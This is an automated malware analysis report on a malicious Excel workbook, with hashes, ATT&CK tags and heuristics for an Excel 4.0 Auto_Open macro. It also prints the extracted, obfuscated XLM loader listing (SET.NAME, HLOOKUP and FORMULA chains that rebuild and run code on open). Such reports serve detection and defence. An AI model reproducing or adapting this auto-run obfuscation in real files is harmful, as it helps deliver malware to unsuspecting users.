Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cae28c8b2c150083…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:07 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 72d6f9cf7630a515b2f738a1b2a691d9 SHA-1: 00e8852e22af0ad6cb287357a60b01892ecc221f SHA-256: cae28c8b2c15008325e63a69c867c4079b45b4a6dda6db1166b9c3cc5c30461d
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel workbook containing Excel 4.0 (XLM) macros. A critical heuristic identified an Auto_Open defined name, indicating that the macro will execute automatically when the workbook is opened. The presence of dangerous formula APIs in the Auto_Open macro suggests it is designed to execute arbitrary code, likely to download and run a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6462 bytes
SHA-256: a14755653e0339842febf09a550d2db8daa2b4d680802feada5b6e79e3b62c2c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hcyJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I146 
' 0018     25 LABEL : Cell Value, String Constant - blugTgOaAv len=0 
' 0018     21 LABEL : Cell Value, String Constant - BQUrHN len=0 
' 0018     27 LABEL : Cell Value, String Constant - dexvEkQOPAzI len=0 
' 0018     27 LABEL : Cell Value, String Constant - ferjUYcUzAlc len=0 
' 0018     21 LABEL : Cell Value, String Constant - gwiRQe len=0 
' 0018     26 LABEL : Cell Value, String Constant - ISRcJrsNePN len=0 
' 0018     22 LABEL : Cell Value, String Constant - iSRQVdr len=0 
' 0018     24 LABEL : Cell Value, String Constant - kMguwOdnT len=0 
' 0018     23 LABEL : Cell Value, String Constant - KSLHMgeW len=0 
' 0018     27 LABEL : Cell Value, String Constant - KwOlLNgGhWkB len=0 
' 0018     20 LABEL : Cell Value, String Constant - KyuTI len=0 
' 0018     23 LABEL : Cell Value, String Constant - LcRmLtTh len=0 
' 0018     25 LABEL : Cell Value, String Constant - MdxTKEVrws len=0 
' 0018     24 LABEL : Cell Value, String Constant - meFTorgKa len=0 
' 0018     20 LABEL : Cell Value, String Constant - mqZtM len=0 
' 0018     23 LABEL : Cell Value, String Constant - nOuAWhsh len=0 
' 0018     25 LABEL : Cell Value, String Constant - RfpnwGCwzI len=0 
' 0018     23 LABEL : Cell Value, String Constant - ukbDeAhY len=0 
' 0018     27 LABEL : Cell Value, String Constant - XgbjFMOplKbj len=0 
' 0018     20 LABEL : Cell Value, String Constant - yqhVc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hcyJ,I46,"SET.NAME("RfpnwGCwzI",VALUE("0"))",""
'  hcyJ,I51,"SET.NAME("LcRmLtTh",RfpnwGCwzI)",""
'  hcyJ,I53,"SET.NAME("MdxTKEVrws",RfpnwGCwzI)",""
'  hcyJ,I55,"SET.NAME("dexvEkQOPAzI",COUNTA(nOuAWhsh))",""
'  hcyJ,I60,"SET.NAME("ukbDeAhY",COUNTA(KSLHMgeW))",""
'  hcyJ,I64,[],""
'  hcyJ,I66,"SET.NAME("ISRcJrsNePN","")",""
'  hcyJ,I71,"LcRmLtTh",""
'  hcyJ,I74,"SET.NAME("gwiRQe",HLOOKUP("*",nOuAWhsh,LcRmLtTh,FALSE))",""
'  hcyJ,I79,"XgbjFMOplKbj",""
'  hcyJ,I84,"SET.NAME("mqZtM",RfpnwGCwzI)",""
'  hcyJ,I89,[],""
'  hcyJ,I93,"mqZtM",""
'  hcyJ,I96,"KyuTI",""
'  hcyJ,I98,"blugTgOaAv",""
'  hcyJ,I103,"kMguwOdnT",""
'  hcyJ,I108,"SET.NAME("ferjUYcUzAlc",VALUE(HLOOKUP("*",KSLHMgeW,kMguwOdnT,FALSE)))",""
'  hcyJ,I112,"meFTorgKa",""
'  hcyJ,I116,"ISRcJrsNePN",""
'  hcyJ,I121,"MdxTKEVrws",""
'  hcyJ,I126,NEXT(),""
'  hcyJ,I129,"BQUrHN",""
'  hcyJ,I132,"SET.NAME("f",INT(T(FORMULA(T(ISRcJrsNePN)&"",""&T(BQUrHN)))))",""
'  hcyJ,I135,"yqhVc",""
'  hcyJ,I139,NEXT(),""
'  hcyJ,I143,RETURN(),""
'  hcyJ,I171,"SET.NAME("iSRQVdr",I46)",""
'  hcyJ,I174,"nOuAWhsh",""
'  hcyJ,I176,"SET.NAME("KSLHMgeW",R49C13)",""
'  hcyJ,I178,"SET.NAME("yqhVc",185)",""
'  hcyJ,I181,"SET.NAME("KwOlLNgGhWkB",9)",""
'  hcyJ,I184,iSRQVdr(),""
'  hcyJ,I185,HALT(),""

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